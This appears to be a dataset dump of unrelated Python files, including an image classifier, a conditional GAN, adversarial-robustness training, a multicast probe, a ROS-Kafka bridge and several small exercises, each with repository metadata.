parser.add_argument('--batchsize', '-b', type=int, default=50,\n help='Number of images in each mini-batch')\n parser.add_argument('--epoch', '-e', type=int, default=30,\n help='Number of sweeps over the dataset to train')\n parser.add_argument('--gpu', '-g', type=int, default=0,\n help='GPU ID (negative value indicates CPU)')\n parser.add_argument('--out', '-o', default='classify_result',\n help='Directory to output the result')\n parser.add_argument('--snapshot_interval', type=int, default=10000,\n help='Interval of snapshot')\n parser.add_argument('--display_interval', type=int, default=100,\n help='Interval of displaying log to console')\n args = parser.parse_args()\n\n print('GPU: {}'.format(args.gpu))\n print('# Minibatch-size: {}'.format(args.batchsize))\n print('# epoch: {}'.format(args.epoch))\n print('')\n\n DD = DiscriminatorClassifier()\n dis = L.Classifier(DD)\n\n if args.gpu >= 0:\n chainer.cuda.get_device_from_id(args.gpu).use()\n dis.to_gpu()\n\n optimizer = chainer.optimizers.Adam()\n optimizer.setup(dis)\n optimizer.add_hook(DelGradient([\"c0\",\"c1\",\"c2\"]))\n\n train = DatasetFromDirectory()\n train_iter = chainer.iterators.SerialIterator(train, args.batchsize)\n\n updater = training.StandardUpdater(train_iter, optimizer, device=args.gpu)\n trainer = training.Trainer(updater, (args.epoch, 'epoch'), out=args.out)\n\n snapshot_interval = (args.snapshot_interval, 'iteration')\n trainer.extend(extensions.dump_graph('main/loss'))\n trainer.extend(\n extensions.snapshot(filename='snapshot_iter_{.updater.iteration}.npz'),\n trigger=snapshot_interval)\n trainer.extend(extensions.LogReport())\n if extensions.PlotReport.available():\n trainer.extend(\n extensions.PlotReport(['main/loss', 'validation/main/loss'],\n 'epoch', file_name='loss.png'))\n trainer.extend(\n extensions.PlotReport(\n ['main/accuracy', 'validation/main/accuracy'],\n 'epoch', file_name='accuracy.png'))\n trainer.extend(extensions.PrintReport(\n ['epoch', 'main/loss', 'validation/main/loss',\n 'main/accuracy', 'validation/main/accuracy', 'elapsed_time']))\n trainer.extend(extensions.ProgressBar())\n \n trainer.run()\n \n dis.to_cpu()\n chainer.serializers.save_npz(os.path.join(args.out, 'discriminator_classifier'), dis)\n \n predicted_labels = []\n test_dir = './test_resized_64'\n file_stream = os.listdir(test_dir)\n test_path = [os.path.join(test_dir, file_name) for file_name in file_stream]\n for path in test_path:\n with Image.open(path) as f:\n img = np.asarray(f, dtype=np.float32).transpose(2, 0, 1).reshape(-1,3,64,64) / .255\n predicted_labels.extend(dis.predictor(img).data.argmax(1))\n \n with open('./files/submit_augment.csv', 'w') as f:\n writer = csv.writer(f, lineterminator='\\n')\n for label in predicted_labels:\n writer.writerow([label])\n\nif __name__ == '__main__':\n main()","sub_path":"UNIQLO_clothes_GAN/UNIQLO_classify.py","file_name":"UNIQLO_classify.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"26934613","text":"import sys\nfrom ctypes import *\n'''\nfoo=cdll.LoadLibrary('C:\\\\Users\\\\lh\\Desktop\\\\p-test\\\\lab\\\\LABb\\\\x.dll')\nfoo.pp.argtypes = (c_float, c_float) # addf 有两个形参,都是 float 类型\nfoo.pp.restype = c_float # addf 返回值的类型是 flaot\nprint(foo.pp(2,9))\n'''\n\npyarray = [1.2,2,3,4,5,6,7,8,9,10] #模拟原始值\npyarrayx = [1,2,3,4,5,6,7,8,9,10] #模拟工程值下限\npyarrays = [1,2,3,4,5,6,7,8,9,10] #模拟工程值上限\npyarrayjg=[1.1,2.2,3.3,4,5,6,7,8,9,10]\n\ncarray = (c_float*len(pyarray))(*pyarray)\ncarrayx = (c_float*len(pyarrayx))(*pyarrayx)\ncarrays = (c_float*len(pyarrays))(*pyarrays)\ncarrayjs = (c_float*len(pyarrayjg))(*pyarrayjg)\n\nfoo=cdll.LoadLibrary('C:\\\\Users\\\\lh\\Desktop\\\\p-test\\\\lab\\\\LABb\\\\x.dll')\n\nfoo.pp.argtypes = [POINTER(c_float),POINTER(c_float),POINTER(c_float),POINTER(c_float)] \nfoo.pp(carray,carrayx,carrays,carrayjs)\nfor i in carrayjs:\n print(i)","sub_path":"c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"57549258","text":"#Crie um programa que gerencie o aproveitamento de um jogador de futebol. O programa vai ler\r\n# o nome do jogador e a quantas partidas ele jogou. Depois vai ler a quantidade de gols feitos em\r\n# cada partida. No final, tudo isso será guardado em um dicionário, incuindo o total de gols feitos\r\n# durante o campeonato.\r\n\r\njogador = {}\r\ngols = []\r\ntotal = 0\r\njogador['nome'] = str(input('Nome do jogador: '))\r\nptd = int(input(f'Quantas partidas {jogador[\"nome\"]} jogou: '))\r\nfor c in range(0, ptd):\r\n n = int(input(f'Quantos gols na partida {c+1}: '))\r\n gols.append(n)\r\n total += n\r\njogador['gols'] = gols[:]\r\njogador['total'] = total\r\nprint('-=' * 30)\r\nprint(jogador)\r\nprint('-=' * 30)\r\nfor k, v in jogador.items():\r\n print(f'O campo {k} tem o valor {v}')\r\nprint('-=' * 30)\r\nprint(f'O jogador {jogador[\"nome\"]} jogou {ptd} partidas')\r\nfor i, g in enumerate(gols):\r\n print(f'Na partida {i+1}, fez {g}')\r\nprint(f'Foi um total de {total} gols')\r\n\r\n'''partidas = list ()\r\nfor c in range(0, ptd):\r\n partidas.append(int(input(f'Quantos gols na partida {c+1}: ')))\r\njogador['gols'] = partidas[:]\r\njogador['total'] = sum(partidas)'''","sub_path":"0093_desafio.py","file_name":"0093_desafio.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"71713309","text":"# 2015-04-06 Runtime: 62 ms\n\nclass Solution:\n # @param s, a string\n # @return a list of strings\n def restoreIpAddresses(self, s):\n self.res = []\n self.dfs(s, 0, '')\n return self.res\n \n def dfs(self, s, level, oneAnswer):\n if level > 4: \n return\n if level == 4:\n if not s: self.res.append(oneAnswer[:-1]) # remove the last '.'\n return\n for i in xrange(1, 4):\n # s[:i] == str(int(s[:i])) will remove leading zeros, for '010010', we don't want '01.0.0.10'\n if len(s) >= i and 0 <= int(s[:i]) <= 255 and s[:i] == str(int(s[:i])):\n self.dfs(s[i:], level + 1, oneAnswer + s[:i] + '.')","sub_path":"93_Restore_IP_Address.py","file_name":"93_Restore_IP_Address.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"334041697","text":"from product_classes.product import Product\nfrom product_classes.product_color import ProductColor\nfrom matplotlib.colors import is_color_like\n\nclass HoneyBirdette(Product):\n\n def FindColorField(self):\n Colors = []\n for TagObject in self.Tags:\n SepString = TagObject.Tag.split(':')\n if SepString[0].lower() == 'colour':\n Colors.append(SepString[1].lower())\n if len(Colors) == 0:\n HandleColor = self.Handle.split('-')\n HandleColor = HandleColor[1]\n if is_color_like(HandleColor):\n self.Colors.append(HandleColor)\n return True\n else:\n print('Not valid color: ' + str(HandleColor.lower()))\n return False\n","sub_path":"etl/store_classes/hb_product.py","file_name":"hb_product.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"385568212","text":"\"\"\"\nThis is a test implementation to see if we can use pyTorch to solve\nLDDMM-style registration problems via automatic differentiation.\n\nContributors:\n Marc Niethammer: mn@cs.unc.edu\n\"\"\"\n\n# first do the torch imports\nfrom __future__ import print_function\nfrom builtins import str\nfrom builtins import range\nimport torch\nfrom torch.autograd import Variable\nimport time\n\nimport utils\nimport registration_networks as RN\n\nimport numpy as np\n\nimport visualize_registration_results as vizReg\nimport example_generation as eg\n\n# select the desired dimension of the registration\ndim = 2\nsz = np.tile( 30, dim ) # size of the desired images: (sz)^dim\n\nparams = dict()\nparams['len_s'] = sz.min()//5\nparams['len_l'] = sz.min()//4\n\n# create a default image size with two sample squares\ncs = eg.CreateSquares(sz)\nI0,I1 = cs.create_image_pair(params)\n\n# spacing so that everything is in [0,1]^2 for now\nspacing = 1./(sz-1)\nprint ('Spacing = ' + str( spacing ) )\n\n# some debugging output to show image gradients\n# compute gradients\n#vizReg.debugOutput( I0, I1, spacing )\n\n# some settings for the registration energy\n# Reg[\\Phi,\\alpha,\\gamma] + 1/\\sigma^2 Sim[I(1),I_1]\n\nparams['sigma']=0.1\nparams['gamma']=1.\nparams['alpha']=0.2\n\nparams['similarityMeasure'] = 'ssd'\nparams['regularizer'] = 'helmholtz'\n\nparams['numberOfTimeSteps'] = 10\n\nmodel = RN.SVFNetMap(sz,spacing,params) # instantiate a stationary velocity field model\nprint(model)\n\n# create the source and target image as pyTorch variables\nISource = torch.from_numpy( I0.copy() )\nITarget = torch.from_numpy( I1 )\n\n# create the identity map [-1,1]^d\nid = utils.identityMap(sz)\nidentityMap = torch.from_numpy( id )\n\ncriterion = RN.SVFLossMap(list(model.parameters())[0],sz,spacing,params) # stationary velocity field with maps\n# use LBFGS as optimizer; this is essential for convergence when not using the Hilbert gradient\noptimizer = torch.optim.LBFGS(model.parameters(),\n lr=1,max_iter=5,max_eval=10,\n tolerance_grad=1e-3,tolerance_change=1e-4,\n history_size=5)\n\n# optimize for a few steps\nstart = time.time()\n\nfor iter in range(100):\n\n def closure():\n optimizer.zero_grad()\n # Forward pass: Compute predicted y by passing x to the model\n phiWarped = model(identityMap)\n # Compute loss\n loss = criterion(phiWarped, ISource, ITarget)\n loss.backward()\n return loss\n\n optimizer.step(closure)\n phiWarped = model(identityMap)\n\n if iter%1==0:\n energy, similarityEnergy, regEnergy = criterion.get_energy(phiWarped, ISource, ITarget)\n print('Iter {iter}: E={energy}, similarityE={similarityE}, regE={regE}'\n .format(iter=iter,\n energy=utils.t2np(energy),\n similarityE=utils.t2np(similarityEnergy),\n regE=utils.t2np(regEnergy)))\n\n if iter%10==0:\n I1Warped = utils.computeWarpedImage(ISource,phiWarped)\n vizReg.showCurrentImages(iter, ISource, ITarget, I1Warped, phiWarped)\n\nprint('time:', time.time() - start)\n","sub_path":"attic/to_be_converted_to_tests/testSVFMap.py","file_name":"testSVFMap.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"228657384","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.11-x86_64/egg/anyex/vbtc.py\n# Compiled at: 2018-04-27 06:35:17\nfrom anyex.foxbit import foxbit\n\nclass vbtc(foxbit):\n\n def describe(self):\n return self.deep_extend(super(vbtc, self).describe(), {'id': 'vbtc', \n 'name': 'VBTC', \n 'countries': 'VN', \n 'has': {'CORS': False}, \n 'urls': {'logo': 'https://user-images.githubusercontent.com/1294454/27991481-1f53d1d8-6481-11e7-884e-21d17e7939db.jpg', \n 'api': {'public': 'https://api.blinktrade.com/api', \n 'private': 'https://api.blinktrade.com/tapi'}, \n 'www': 'https://vbtc.exchange', \n 'doc': 'https://blinktrade.com/docs'}, \n 'options': {'brokerId': '3'}})","sub_path":"pycfiles/anyex-0.0.1-py2.7/vbtc.py","file_name":"vbtc.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"448527315","text":"from xmlrpc.client import boolean\n\nfrom numpy.ma import mean\n\nfrom src.Lab3.Analyzer import RegulatorAnalyzer\nfrom src.Lab3.Regulator import RegulatorBody\nfrom src.Lab3.Scheme import SchemeBody\n\nboop = True\n\n# initos = [20, 14, 5, 7, 1, 5]\n\nb = RegulatorBody()\nc = SchemeBody(regs_w=b.Prop_reg())\na = RegulatorAnalyzer(w_f=c.get_scheme_solving())\n\nkeys = [0 for i in range(10)]\nKs = [1 for i in range(len(keys))]\nstep =[1 for i in range(len(keys))]\n\n# print(c)\n#\n# actual_keys = a.full_analyze()\n# print(actual_keys)\n# print(keys)\n\nwhile boop:\n\n print(c)\n\n actual_keys = a.full_analyze()\n\n countt = 0\n for i in range(len(keys)):\n\n\n\n if actual_keys[i] != 0:\n if actual_keys[i] > keys[i]:\n step[i] = abs(step[i]/2)\n keys[i] = actual_keys[i]\n\n elif actual_keys[i] < keys[i]:\n step[i] /= -2\n keys[i] = actual_keys[i]\n\n elif actual_keys[i] == keys[i]:\n keys[i] = actual_keys[i]\n\n Ks[i] += step[i]\n else:\n countt +=1\n\n if countt == len(keys) :\n boop = False\n\n\n k = mean(Ks[0:7])\n Td = -mean(Ks[8:9])\n Tu = mean(Ks[8:9])\n\n b = RegulatorBody(k, Td, Tu)\n print(b)\n c = SchemeBody(regs_w=b.PID_reg())\n\n a = RegulatorAnalyzer(w_f=c.get_scheme_solving())\n","sub_path":"src/Lab3/Adaptivity(Dead).py","file_name":"Adaptivity(Dead).py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"473451833","text":"import os\nimport time\nimport tensorflow as tf\nfrom tensorflow.keras import models, layers, losses, optimizers, metrics\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nimport pickle\n\ny_train = np.load('../data/y_test.npy') # 500\nX_test = np.load('../data/X_test.npy') # 500 160 160 3\ny_test = np.load('../data/y_test.npy') # 500\n\nsave_adv_path = '../data/X_adv_FGSM.pickle'\nwith open(save_adv_path, 'rb') as r:\n X_train = pickle.load(r)\n\nprint(np.shape(X_train))\nloss_object = losses.SparseCategoricalCrossentropy()\n\nEPOCHS = 5\nBATCH_SIZE = 2**5\nMODEL_SAVE = True\n\nbase_model = tf.keras.applications.InceptionV3(input_shape=[160, 160, 3], include_top=False,weights='imagenet')\nresnet = tf.keras.applications.ResNet50V2(input_shape=[160, 160, 3], include_top=False, weights='imagenet')\ninception_res = tf.keras.applications.InceptionResNetV2(input_shape=[160, 160, 3], include_top=False, weights='imagenet')\n\nclass Model(models.Model):\n def __init__(self, base_model):\n super(Model, self).__init__()\n self.base_model = base_model\n self.top_layer = models.Sequential([\n layers.Dense(10),\n layers.Activation(tf.nn.softmax),\n ])\n\n def call(self, inputs, training=False):\n x = self.base_model(inputs, training=training)\n x = layers.Flatten()(x)\n outputs = self.top_layer(x, training=training)\n return outputs\n\nsaved_weight_path = '../weights/model_Inception_V3_adv'\nwith open(saved_weight_path, 'rb') as r:\n weights = pickle.load(r)\n\npath = '../weights/model_resnet50_V2_4_0.98_0.0730'\nwith open(path, 'rb') as r:\n resnet_50_weight = pickle.load(r)\n\npath = '../weights/model_insV3_3_0.98_0.0460'\nwith open(path, 'rb') as r:\n inception_v3_weight = pickle.load(r)\n\npath = '../weights/model_Inception_resnetV2_4_0.97_0.0841'\nwith open(path, 'rb') as r:\n inception_v3_res_weight = pickle.load(r)\n\ninception_adv_model = Model(base_model)\ninception_adv_model.build((None,160,160,3))\ninception_adv_model.set_weights(weights)\n\n\ninception_model = Model(base_model)\ninception_model.build((None,160,160,3))\ninception_model.set_weights(inception_v3_weight)\n\n\nresnet_model = Model(resnet)\nresnet_model.build((None,160,160,3))\nresnet_model.set_weights(resnet_50_weight)\n\n\ninception_res_model = Model(inception_res)\ninception_res_model.build((None,160,160,3))\ninception_res_model.set_weights(inception_v3_res_weight)\n\n\n\n\nsce = losses.SparseCategoricalCrossentropy()\nopt = optimizers.Adam(learning_rate=1e-4)\n\ntrain_acc = metrics.SparseCategoricalAccuracy()\ntest_acc = metrics.SparseCategoricalAccuracy()\n\ntrain_loss = metrics.Mean()\ntest_loss = metrics.Mean()\n\n\ndef train_step(inputs):\n\n X, y = inputs\n\n with tf.GradientTape() as t:\n y_pred = inception_adv_model(X)\n loss1 = sce(y, y_pred)\n\n y_pred = resnet_model(X)\n loss2 = sce(y, y_pred)\n\n y_pred = inception_model(X)\n loss3 = sce(y, y_pred)\n\n y_pred = inception_model(X)\n loss4 = sce(y, y_pred)\n\n loss = loss1 + loss2 + loss3 + loss4\n\n grads = t.gradient(loss, inception_adv_model.trainable_variables)\n opt.apply_gradients(list(zip(grads, inception_adv_model.trainable_variables)))\n\n train_acc.update_state(y, y_pred)\n train_loss.update_state(loss)\n\n\ndef test_step(inputs):\n X, y = inputs\n\n y_pred = inception_adv_model(X)\n loss = sce(y, y_pred)\n\n test_acc.update_state(y, y_pred)\n test_loss.update_state(loss)\n\nBUFFER_SIZE = len(X_train)\n\ntrain_dataset = tf.data.Dataset\\\n .from_tensor_slices((X_train,y_train))\\\n .shuffle(BUFFER_SIZE).batch(BATCH_SIZE)\n\ntrain_loss_list = []\ntrain_acc_list = []\n\nbest_loss = sys.float_info.max\n\nfor e in range(EPOCHS):\n s = time.time()\n\n for x in train_dataset:\n train_step(x)\n\n if e % 1 == 0:\n print(\n f'{e + 1}/{EPOCHS}\\tacc = {train_acc.result() * 100:.2f}%, loss = {train_loss.result():.8f}, {time.time() - s:.2f} sec/epoch')\n\n train_loss_list.append(train_loss.result())\n train_acc_list.append(train_acc.result())\n\n\n if best_loss > train_loss.result() and MODEL_SAVE:\n best_loss = train_loss.result()\n\n weights = inception_adv_model.get_weights()\n\n path = f'../weights/model_Inception_V3_adv_ens4'\n with open(path, 'wb') as f:\n pickle.dump(weights, f)\n\n train_loss.reset_states()\n train_acc.reset_states()\n\n# 모델 성능 테스트\ntest_dataset = tf.data.Dataset\\\n .from_tensor_slices((tf.squeeze(X_test),y_test))\\\n .batch(BATCH_SIZE)\n\ntest_acc.reset_states()\ntest_loss.reset_states()\n\nfor x in test_dataset:\n test_step(x)\n\nprint(f'acc = {test_acc.result().numpy()*100:.2f}%')\nprint(f'loss = {test_loss.result().numpy():.4f}')\n\nfor _ in range(10):\n idx = np.random.randint(len(X_test))\n y_pred = inception_adv_model(X_test[idx:idx + 1])\n\n plt.imshow(X_test[idx])\n plt.title(f'real = {int(y_test[idx])}, prediction = {np.argmax(y_pred)}')\n plt.axis('off')\n plt.show()","sub_path":"2020-1/class-2020-Datamining/MI-FGSM/models/inception_v3_adv_ens4.py","file_name":"inception_v3_adv_ens4.py","file_ext":"py","file_size_in_byte":5018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"473393641","text":"\nimport tensorflow as tf\nimport tensorlayer as tl\nfrom tensorlayer.layers import *\nimport os\nimport numpy as np\n\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\ndef generator_simplified_api(inputs, y=None, is_train=True, reuse=False):\n image_size = 28\n gf_dim = 64 # Dimension of gen filters in first conv layer. [64]\n y_dim = 10\n c_dim = FLAGS.c_dim # n_color 1\n batch_size = FLAGS.batch_size # 64\n w_init = tf.random_normal_initializer(stddev=0.02)\n w_initl = tf.random_normal_initializer(stddev=0.02)\n b_init = tf.constant_initializer(0.0)\n gamma_init = tf.random_normal_initializer(1., 0.02)\n\n s_h, s_w = image_size, image_size\n s_h2, s_h4 = int(s_h/2), int(s_h/4)\n s_w2, s_w4 = int(s_w/2), int(s_w/4)\n gfc_dim=1024\n\n with tf.variable_scope(\"generator\", reuse=reuse):\n tl.layers.set_name_reuse(reuse)\n \n net_in = InputLayer(inputs, name='g/z_in')\n y = InputLayer(y,name='g/y_in')\n yb = ReshapeLayer(y, [batch_size, 1, 1, y_dim])\n z = ConcatLayer([net_in, y], 1)\n\n net_h0 = DenseLayer(z, n_units=gfc_dim, W_init=w_initl, b_init=b_init,\n act = tf.identity, name='g/h0/lin')\n net_h0 = BatchNormLayer(net_h0, act=tf.nn.relu, is_train=is_train,\n gamma_init=gamma_init, name='g/h0/batch_norm')\n net_h0 = ConcatLayer([net_h0, y], 1, name='g/h0/concat')\n\n net_h1 = DenseLayer(net_h0, n_units=gf_dim*2*s_h4*s_w4, W_init=w_initl, b_init=b_init,\n act = tf.identity, name='g/h1/lin')\n net_h1 = BatchNormLayer(net_h1, act=tf.nn.relu, is_train=is_train,\n gamma_init=gamma_init, name='g/h1/batch_norm')\n net_h1 = ReshapeLayer(net_h1, shape=[batch_size, s_h4, s_w4, gf_dim * 2], name='g/h1/reshape')\n net_h1 = condConcatLayer([net_h1, yb], 3, name='g/h1/concat') \n\n net_h2 = DeConv2d(net_h1, gf_dim*2, (5, 5), out_size=(s_h2, s_w2), strides=(2, 2),\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h2/decon2d')\n net_h2 = BatchNormLayer(net_h2, act=tf.nn.relu, is_train=is_train,\n gamma_init=gamma_init, name='g/h2/batch_norm')\n net_h2 = condConcatLayer([net_h2, yb], 3, name='g/h2/concat') \n\n net_h3 = DeConv2d(net_h2, c_dim, (5, 5), out_size=(image_size, image_size), strides=(2, 2),\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h3/decon2d')\n \n logits = net_h3.outputs\n net_h3.outputs = tf.nn.sigmoid(net_h3.outputs)\n return net_h3, logits\n\ndef discriminator_simplified_api(inputs, y=None, is_train=True, reuse=False):\n df_dim = 64 # Dimension of discrim filters in first conv layer. [64]\n y_dim = 10\n c_dim = FLAGS.c_dim # n_color 1\n batch_size = FLAGS.batch_size # 64\n w_init = tf.random_normal_initializer(stddev=0.02)\n w_initl = tf.random_normal_initializer(stddev=0.02)\n b_init = tf.constant_initializer(0.0)\n gamma_init = tf.random_normal_initializer(1., 0.02)\n with tf.variable_scope(\"discriminator\", reuse=reuse):\n tl.layers.set_name_reuse(reuse)\n \n net_in = InputLayer(inputs, name='d/in')\n y = InputLayer(y,name='g/y_in')\n yb = ReshapeLayer(y, [batch_size, 1, 1, y_dim])\n x = condConcatLayer([net_in, yb], 3, name='d/x/concat')\n\n net_h0 = Conv2d(x, c_dim + y_dim, (5, 5), (2, 2), act=lambda x: tl.act.lrelu(x, 0.2),\n padding='SAME', W_init=w_init, name='d/h0/conv2d')\n net_h0 = condConcatLayer([net_h0, yb], 3, name='d/h0/concat')\n\n net_h1 = Conv2d(net_h0, df_dim + y_dim, (5, 5), (2, 2), act=None,\n padding='SAME', W_init=w_init, name='d/h1/conv2d')\n net_h1 = BatchNormLayer(net_h1, act=lambda x: tl.act.lrelu(x, 0.2),\n is_train=is_train, gamma_init=gamma_init, name='d/h1/batch_norm')\n net_h1 = ReshapeLayer(net_h1, [batch_size, -1])\n net_h1 = ConcatLayer([net_h1, y], 1, name='d/h1/concat')\n\n net_h2 = DenseLayer(net_h1, n_units=1024, act=tf.identity,\n W_init = w_initl, b_init=b_init, name='d/h2/lin_sigmoid')\n net_h2 = BatchNormLayer(net_h2, act=lambda x: tl.act.lrelu(x, 0.2),\n is_train=is_train, gamma_init=gamma_init, name='d/h2/batch_norm')\n net_h2 = ConcatLayer([net_h2, y], 1, name='d/h2/concat')\n\n net_h3 = DenseLayer(net_h2, n_units=1, act=tf.identity,\n W_init = w_initl, b_init=b_init, name='d/h3/lin_sigmoid')\n \n logits = net_h3.outputs\n net_h3.outputs = tf.nn.sigmoid(net_h3.outputs)\n return net_h3, logits\n\nclass condConcatLayer(Layer):\n def __init__(\n self,\n layers,\n concat_dim=-1,\n name='concat_layer',\n ):\n Layer.__init__(self, prev_layer=layers, name=name)\n self.inputs = []\n for l in layers:\n self.inputs.append(l.outputs)\n\n x = self.inputs[0]\n y = self.inputs[1]\n x_shapes = x.get_shape()\n y_shapes = y.get_shape()\n\n self.outputs = tf.concat([\n x, y*tf.ones([x_shapes[0], x_shapes[1], x_shapes[2], y_shapes[3]])], concat_dim)\n\n self.all_layers.append(self.outputs)\n\ndef load_mnist():\n data_dir = os.path.join('./data', 'mnist')\n \n fd = open(os.path.join(data_dir,'train-images-idx3-ubyte'))\n loaded = np.fromfile(file=fd,dtype=np.uint8)\n trX = loaded[16:].reshape((60000,28,28,1)).astype(np.float)\n\n fd = open(os.path.join(data_dir,'train-labels-idx1-ubyte'))\n loaded = np.fromfile(file=fd,dtype=np.uint8)\n trY = loaded[8:].reshape((60000)).astype(np.float)\n\n fd = open(os.path.join(data_dir,'t10k-images-idx3-ubyte'))\n loaded = np.fromfile(file=fd,dtype=np.uint8)\n teX = loaded[16:].reshape((10000,28,28,1)).astype(np.float)\n\n fd = open(os.path.join(data_dir,'t10k-labels-idx1-ubyte'))\n loaded = np.fromfile(file=fd,dtype=np.uint8)\n teY = loaded[8:].reshape((10000)).astype(np.float)\n\n trY = np.asarray(trY)\n teY = np.asarray(teY)\n \n X = np.concatenate((trX, teX), axis=0)\n y = np.concatenate((trY, teY), axis=0).astype(np.int)\n \n seed = 547\n np.random.seed(seed)\n np.random.shuffle(X)\n np.random.seed(seed)\n np.random.shuffle(y)\n \n y_vec = np.zeros((len(y), 10), dtype=np.float)\n for i, label in enumerate(y):\n y_vec[i,y[i]] = 1.0\n \n return X/255.,y_vec","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"605446531","text":"#!/usr/bin/env python3\n\"\"\"\nProbe an Mcast group\n\"\"\"\n\n# ip's\nGROUP = ('224.3.30.91',20004)\ninject_group = ('224.3.30.91',20004)\nSERVER = ('', 53011)\nTIMEOUT = 1 # seconds\nSLEEPTIME = 10\nINJECTION_STRUCT_T = \"ffc\"\n\n\nimport os\nimport sys\nimport socket\nimport select\nimport struct\nimport ubjson\nimport time\nimport xml.dom.minidom\nimport pickle as pkl\nimport numpy as np\nimport pandas as pd\n\ndef setup_msock ():\n group = socket.inet_aton (inject_group[0])\n sock = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)\n sock.setsockopt (socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n mreq = struct.pack('4sL', group, socket.INADDR_ANY)\n sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)\n sock.bind (inject_group)\n return sock\n\nif __name__ == \"__main__\":\n # setup socks\n msock = setup_msock ()\n SF = \"Injecting amp={0:5.2f} dm={1:3.2f} wd={2:d}\"\n print (\"socket setup complete...\")\n ## main select loop\n try:\n print (\"waiting....\")\n while True:\n rrsock, _ , _ = select.select ([msock], [], [], TIMEOUT)\n for rrs in rrsock:\n if rrs == msock:\n data,_ = rrs.recvfrom (9)\n ramp, rdm, rwd = struct.unpack (INJECTION_STRUCT_T, data)\n wd = int.from_bytes (rwd, 'little', signed=False)\n print (SF.format(ramp, rdm, wd))\n time.sleep (SLEEPTIME)\n except KeyboardInterrupt:\n print (\"Received KeyboardInterrupt\")\n finally:\n # close socket\n msock.close ()\n\n","sub_path":"src/probe_mcast.py","file_name":"probe_mcast.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"466314690","text":"#!/usr/bin/env python\n\nimport json\nfrom kafka import KafkaProducer\nfrom kafka import KafkaConsumer\nimport rospy\nfrom rospy_message_converter import json_message_converter\nfrom utils import import_msg_type\n\nclass ros_publish():\n\n def __init__(self):\n\n # initialize node\n rospy.init_node(\"ros_publish\")\n rospy.on_shutdown(self.shutdown)\n\n # Retrieve parameters from launch file\n bootstrap_server = rospy.get_param(\"~bootstrap_server\", \"localhost:9092\")\n self.ros_topic = rospy.get_param(\"~ros_topic\", \"test\")\n self.kafka_topic = rospy.get_param(\"~kafka_topic\", \"test\")\n self.msg_type = rospy.get_param(\"~msg_type\", \"std_msgs/String\")\n\n # Create kafka consumer\n self.consumer = KafkaConsumer(self.kafka_topic,\n bootstrap_servers=bootstrap_server,\n value_deserializer=lambda m: json.loads(m.decode('ascii')),\n auto_offset_reset='latest',\n consumer_timeout_ms=5000)\n\n # Import msg type\n msg_func = import_msg_type(self.msg_type)\n \n # Subscribe to ROS topic of interest\n self.publisher = rospy.Publisher(self.ros_topic, msg_func, queue_size=10)\n rospy.logwarn(\"Using {} MSGs from KAFKA: {} -> ROS: {}\".format(self.msg_type, self.kafka_topic,self.ros_topic))\n \n\n\n def run(self):\n \n while not rospy.is_shutdown():\n for msg in self.consumer:\n # Convert Kafka message to JSON string\n json_str = json.dumps(msg.value)\n # Convert JSON to ROS message\n ros_msg = json_message_converter.convert_json_to_ros_message(self.msg_type, json_str)\n # Publish to ROS topic\n self.publisher.publish(ros_msg)\n rospy.logwarn(\"Received MSG: {}\".format(json_str))\n \n rospy.spin()\n\n\n def shutdown(self):\n rospy.loginfo(\"Shutting down\")\n\nif __name__ == \"__main__\":\n\n try:\n node = ros_publish()\n node.run()\n except rospy.ROSInterruptException:\n pass\n\n rospy.loginfo(\"Exiting\")\n","sub_path":"ros-kafka-connector/src/ros_publish.py","file_name":"ros_publish.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"43263418","text":"import os\n\nfrom lib import data\n\n# Choose Excel file containing product codes\nproduct_list = data.Excel.read_excel_to_list()\nprint('Length of product list is: ' + str(len(product_list)))\n\n# Choose Marelli product package\npackage_folder = data.FileDialog.ask_save_directory('Choose Folder')\n\n# Assert len() is equal\npackage_list = os.listdir(package_folder)\nprint('Length of product list is: ' + str(len(package_list)))\n\nif len(product_list) != (len(package_list) + 1): # Package contains one extra file\n raise AssertionError('Product list and number of directories do not match!')\n\n# Assert every code in Excel list is present in Marelli package\nfor product in product_list:\n if product == 'SKU':\n continue\n if product not in package_list:\n print('Could not find ' + product + ' in package list!')\n with open('log.txt', 'a+') as log:\n log.write(product + '\\n')\n\n# Assert every subfolder contains one picture file only\nos.chdir(package_folder)\nfor folder in package_list:\n os.chdir(os.path.join(package_folder, folder))\n folder_contents = os.listdir(os.getcwd())\n 